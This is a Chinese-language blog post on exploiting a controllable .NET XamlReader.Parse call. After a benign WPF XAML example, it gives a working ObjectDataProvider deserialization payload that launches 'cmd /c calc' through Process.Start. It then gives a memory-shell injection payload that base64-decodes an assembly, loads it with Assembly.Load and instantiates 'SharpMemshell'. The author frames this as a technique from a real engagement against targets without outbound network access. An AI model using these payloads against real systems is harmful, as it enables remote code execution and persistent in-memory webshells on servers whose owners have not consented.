XamlReader的Parse如何内存马注入

前言:遇到一个XamlReader的Parse方法可控,虽然可以进行命令执行,但是还是不优雅,这边的话通过XamlReader的Parse内存马注入的实现

参考文章:https://forum.butian.net/index.php/share/1588
参考文章:https://learn.microsoft.com/zh-cn/dotnet/desktop/xaml-services/namespaces
参考文章:https://learn.microsoft.com/zh-cn/dotnet/desktop/xaml-services/xarray-markup-extension

什么是XamlReader

WPF是用于替代Windows Form来创建Windows客户端的应用程序,和Web项目一样遵从前端布局和后端代码实现分离的原则,Web项目前端通常是HTML,而XAML是用作WPF项目前端界面开发,XAML的全称是Extensible Application Markup Language 基于通用XML语法用于实例化.NET对象的标记语言。

XamlReader封装于WPF核心程序集之一PresentationFramework.dll,XamlReader处于System.Windows.Markup命名空间下。

System.Windows.Markup命名空间提供了XamlReader和XamlWriter两个公开类,XamlReader类提供的底层Load方法可解析XAML字符流数据实现创建的.NET对象实例,还提供了上层封装方法XamlReader.Parse用于直接解析XAML字符串,XmlSerializer反序列化链路就是基于此方法达成命令执行。

注意:.NET反序列化漏洞XmlSerializer核心Gadget就是XamlReader,具体相关的反序列化文章可以参考https://www.cnblogs.com/zpchcbd/p/17180208.html

这边可以直接给个WPF代码示例来进行观察

MainWindow.xaml

<Window x:Class="MyFirstWpf.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:s="clr-namespace:System;assembly=mscorlib"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:MyFirstWpf"
        mc:Ignorable="d"
        Title="MainWindow" Height="450" Width="800">
    <Grid>
        <ListBox>
            <ListBoxItem>
                <s:String>Hello Zpchcbd</s:String>
            </ListBoxItem>
        </ListBox>
    </Grid>
</Window>

可以看到图形化的界面如下所示

上述包含Window元素以及Grid元素,Window元素代表整个窗口,Grid可以放置所有的控件。总体结构其实是一个窗体对象内嵌套一个Grid对象。

其中的x:Class代表后端的命名空间和类名,这样的好处在于将WPF里的前端XAML和后端实现代码分开维护。

其中还可以看到有属性值为xmlns的,xmlns全拼是:XML namespace,即XML命令空间,xmlns后面可以跟一个可选映射前缀x,两者之间用冒号分割,另外还声明了五个,其中前四个是默认的xmlns名称空间

  • http://schemas.microsoft.com/winfx/2006/xaml/presentation,表示引入WPF核心程序集 PresentationFramework,包括用来构建用户界面的控件

  • http://schemas.microsoft.com/winfx/2006/xaml,与C#语言一样,XAML也有自己的编译器。XAML语言被解析并编译,最终形成微软中间语言保存在程序集中,这里就是起到xaml语言编译器的作用

  • http://schemas.microsoft.com/expression/blend/2008,设计视图下的属性,但是此属性与你运行后的程序是无关的,它们在编译过程中是被忽略的,因为这边存在mc:Ignorable="d"

  • http://schemas.openxmlformats.org/markup-compatibility/2006

        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"

其中还会看到xmlns:s="clr-namespace:System;assembly=mscorlib",表示将s前缀映射到.NET基类库System.String名称空间,后续用<s:String>获取字符串类型,类似若想引入其他.NET程序集支持的基类

参考语法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName"

例如反序列化攻击载荷常用的System.Diagnostics.Process类所在的程序集: xmlns:c="clr-namespace:System.Diagnostics;assembly=system"

又或者引入System.Reflection.Assembly类所在的程序集:xmlns:c="clr-namespace:System.Reflection;assembly=mscorlib"

XamlReader的Parse命令执行

这里先简单的看下命令执行的payload,如下所示,可以看到这边是通过引入一个ObjectDataProvider其中ObjectType来设置Type为Process类型,然后调用方法为Process的Start方法,其中的参数为cmd /c calc,最终进行命令执行,因为这边引入的是System.Diagnostics.Process,所以这边的xmlns:c引入的命名空间就是System.Diagnostics

Program.cs

class Program
    {
        static void Main(string[] args)
        {
            string xml = @"<ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:b="clr-namespace:System;assembly=mscorlib"
    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";
            XamlReader.Parse(xml);
            Console.ReadKey();
        }
    }

XamlReader的Parse内存马注入

回到最初的问题,这边如果给大家XamlReader的Parse一个点,是否可以实现内存马注入呢?

实战环境中遇到了一个XamlReader的Parse的点,这个点数据可控,虽然可以直接通过ysoserial来生成相关的payload来进行命令执行,但是如果目标环境不出网的情况下就会比较尴尬,这边的话可以通过Assembly.Load方法来进行注入内存马

其中遇到的坑点就是注入内存马的时候需要base64解码,所以这边的话是通过Array标签来进行接受的

            string xml = @"<ResourceDictionary
    xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
    xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
    xmlns:s=""clr-namespace:System;assembly=mscorlib""
    xmlns:a=""clr-namespace:System.Reflection;assembly=mscorlib"">
    <s:Array x:Key=""aaaaa"" x:FactoryMethod=""s:Convert.FromBase64String"" x:Arguments=""TVqQAAMAAAAEAAAA..........""/>
    <ObjectDataProvider x:Key=""bbbbb"" ObjectType=""{x:Type a: Assembly}"" MethodName=""Load"">
        <ObjectDataProvider.MethodParameters>
            <StaticResource ResourceKey=""aaaaa""/>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""ccccc"" ObjectInstance=""{StaticResource bbbbb}"" MethodName=""CreateInstance"">
        <ObjectDataProvider.MethodParameters>
            <s:String>SharpMemshell</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";
            XamlReader.Parse(xml);
            Console.ReadKey();

ObjectDataProvider原理分析

这个点主要就是想说明一个点,就是ObjectDataProvider反序列化链是可以进行实例化对象的方法进行调用,也可以直接执行静态类方法,原因是wpf\src\Framework\System\Windows\Data\ObjectDataProvider.cs中默认支持两个属性,分别是ObjectType和ObjectInstance

ObjectType和ObjectInstance在一次ObjectDataProvider调用中只能调用一次,如果设置了ObjectType的话,那么在调用过程中会先进行SetObjectType(value)然后执行Refresh方法来进行更新

最终会走到QueryWorker方法中,这边可以看到如果ObjectType类型没有构造函数则会将_needNewInstance设置为false

导致最终直接通过反射来调用对应的方法

posted @ 2023-05-12 16:54  zpchcbd  阅读(246)  评论(0编辑  收藏  举报